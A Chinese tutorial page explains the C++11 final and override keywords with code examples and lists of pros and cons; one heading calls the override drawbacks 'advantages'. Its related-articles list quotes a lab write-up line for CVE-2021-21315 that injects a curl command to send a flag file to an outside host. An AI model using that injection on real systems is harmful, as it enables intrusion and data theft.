【C++11保姆级教程】final和override

news2025/1/18 8:48:32

文章目录

  • 前言
  • 一、final关键字的使用
    • 1.1final关键字修饰类
    • 1.2final关键字修饰成员函数
  • 1.3final的优势
  • 1.4final的劣势
  • 二、override关键字的使用
    • 2.1使用override关键字重写虚函数
    • 2.3override的优势
  • 总结


前言

在C++编程中,我们常常需要使用继承和多态来构建复杂的程序。然而,在继承关系中,有时候我们需要对继承层次做出一些限制,确保某些类或函数不能再被继承或重写。为了解决这个问题,C++11引入了两个关键字,分别是final和override。本篇教程将向大家介绍final和override的具体用法,帮助大家更好地理解和应用这两个关键字。


一、final关键字的使用

在C++中,final关键字用于修饰类、函数或虚函数,表示它们将是最终的,不能再被继承或重写。

1.1final关键字修饰类

当我们将一个类声明为final时,意味着该类不能再被其他类继承。这样可以保护基类的设计不受子类修改,防止继承滥用。例如:

class Animal final {  // 声明为final的类
    // ...
};

class Dog : public Animal {  // 编译错误,无法继承final类
    // ...
};

在这里插入图片描述

1.2final关键字修饰成员函数

当我们将一个成员函数声明为final时,意味着该函数不能被子类重写。这对于一些基类中实现了关键逻辑的函数非常有用,可以确保这些函数在派生类中不会被意外地修改。例如:

class Shape {
public:
    virtual void draw() final {  // 使用final修饰的虚函数
        // ...
    }
};

class Rectangle : public Shape {
public:
    void draw() {  // 编译错误,无法重写final函数
        // ...
    }
};

在这里插入图片描述

1.3final的优势

1、类的最终性:通过使用final关键字修饰类,可以确保该类不能再被继承。这样可以保护基类的设计,防止子类进行不必要的修改或滥用继承关系。
2、函数的最终性:使用final关键字修饰函数可以防止派生类中对该函数的重写。这对于一些基类中实现了关键逻辑的函数非常有用,可以确保这些函数在派生类中不会被意外地修改,提高代码的可靠性和稳定性。

1.4final的劣势

1、限制了扩展性:使用final关键字修饰类或函数后,将无法进一步扩展或修改其行为。这可能在一些特殊情况下导致问题,如果未来需要对这些类或函数进行修改,就需要重新设计继承结构或重写相应代码。
2、降低灵活性:final关键字可能限制了代码的灵活性。在某些情况下,如果需要在派生类中对某个函数做一些微调或修改,但却无法实现,可能需要通过其他方式来解决问题。

二、override关键字的使用

在C++中,override关键字用于标记派生类中重新定义的虚函数,确保其与基类的虚函数相匹配。

2.1使用override关键字重写虚函数

当我们在派生类中使用override关键字重写虚函数时,如果基类中不存在与之匹配的虚函数,编译器将会报错。这有助于我们在编译时捕获潜在的错误。

class Animal {
public:
    virtual void makeSound() {
        // ...
    }
};

class Dog : public Animal {
public:
    void makeSound() override {  // 使用override关键字重写虚函数
        // ...
    }
};

class Cat : public Animal {
public:
    void mew() {
        // ...
    }
};

在这里插入图片描述

2.3override的优势

1、需要手动添加:使用override关键字需要在派生类中显式地添加该关键字来标记函数的重写,这可能增加了一些冗余的代码。
2、只对虚函数有效:override关键字只能用于派生类对基类中的虚函数的重写,对于非虚函数或非继承关系,不能使用override关键字。


总结

final和override关键字在C++中提供了对类继承和函数重写行为的额外控制。final关键字可以保护基类不被修改,防止滥用继承,而override关键字可以明确标识派生类中对基类的虚函数的重写,并进行编译时类型检查。

然而,final关键字的使用可能限制了代码的扩展性和灵活性,而override关键字需要手动添加,并且只对虚函数有效。因此,在使用这两个关键字时,我们需要根据实际情况权衡其利弊,并确保在继承和重写方面遵循良好的设计原则和最佳实践。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884791.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TTS | VocGAN声码器训练自己的数据集

哈喽,今天给大家介绍的是如何使用VocGAN声码器训练自己的数据集。 原文 VocGAN: A High-Fidelity Real-time Vocoder with a Hierarchically-nested Adversarial Network 想要论文解读,请参考我的这篇文章~ 本博客主要包括以下内容: 目录…

如何将短视频做成动态图?教你快速gif制作的方法

将产品或服务的短视频转换为gif图像后,可以在网站、电子邮件或社交媒体广告中使用,以吸引潜在客户的兴趣,那么怎么才能把短视频转gif图片呢?当然是使用专业的短视频转gif工具(在线视频转换gif-视频转gif转换器-gif.cn_…

C语言,结构体,结构体大小,

1、结构体: 用于存储不同数据类型的多个相关变量,从而形成一个具有独立性的组合数据类型。 结构体的声明: struct 结构体类型名{ 数据类型 成员1; 数据类型 成员2; 数据类型 成员3; ……… }&#xff1…

观察级水下机器人使用系列之六超短基线(上)

观察级水下机器人使用的超短基线型号是Micro-Ranger2,由换能器MRT、甲板单元(ESH)、信标(Nano)和计算机组成。超短基线主要用于深水(大于100m),在浅水环境下,会有多径时延扩展&#…

FreeRTOS qemu mps2-an385 bsp 移植制作 :系统启动篇

相关文章 FreeRTOS qemu mps2-an385 bsp 移植制作 :环境搭建篇 开发环境 Win10 64位 VS Code,ssh 远程连接 ubuntu VMware Workstation Pro 16 Ubuntu 20.04 FreeRTOSv202212.01(备注:可以在 github 获取最新版本&#xff0…

亿赛通电子文档安全管理系统任意文件上传漏洞复现

0x01 产品简介 亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&…

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块(Anonymous Block)是存储过程的字块之一,没有名称。一般用于不频繁执行的脚本或…

【Unity每日一记】方位辨别—向量的叉乘点乘结合

👨‍💻个人主页:元宇宙-秩沅 👨‍💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍💻 本文由 秩沅 原创 👨‍💻 收录于专栏:uni…

优化 Linux 系统性能:探索 tuned 守护进程的调优配置文件

tuned守护进程调优系统调优配置文件从命令行配置系统调优安装、启用和启动tuned软件包tuned-adm 感谢 💖 hello大家好😊 tuned守护进程调优系统 系统管理员可以基于多种用例工作负载来调整各种设备设置,以此优化系统性能。tuned 守护进程会利…

Python学习笔记_基础篇(七)_常用模块

模块,用一砣代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程,函数式编程则完成一个功能,其他代码用来调用即可,提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来,可能需要多个函数才能完成…

什么是LAXCUS分布式操作系统?

相较Linux、Windows,Laxcus是同时在多台计算机上运行的操作系统,处理大规模、高并发、高性能业务,其特点是资源共享和任务并行,并实现【数存算管】超融合一体化。环境中的资源:CPU、GPU、内存、硬盘、网络,…

Python学习笔记_基础篇(八)_正则表达式

1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十分强大。得益于这一点,在提供了正则…

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一,在一些比较敏感的场景下,重复消费会造成比较严重的后果,比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢? 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度,也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备,旨在提高健身爱好者的运动效率。其中,运动耳机无疑是其中之一,不论是室内锻炼还是室外运动,一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目: 示例: 分析: 代码: 题目: 示例: 分析: 题目给我们一个链表,让我们把奇索引和偶索引的节点区分开来 ,参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat: 开放源代码web应用服务器。(基于Java代码开发的),主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码,Tomcat可以解析html页面当中的Java,执行动态请求,动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、人工智能等,希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时,经常需要对一段话插入一段描述或者附件链接等,使用脚注经常因占用篇幅较大导致文档页面内容杂乱,这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注,这样文章整体干净整洁,需…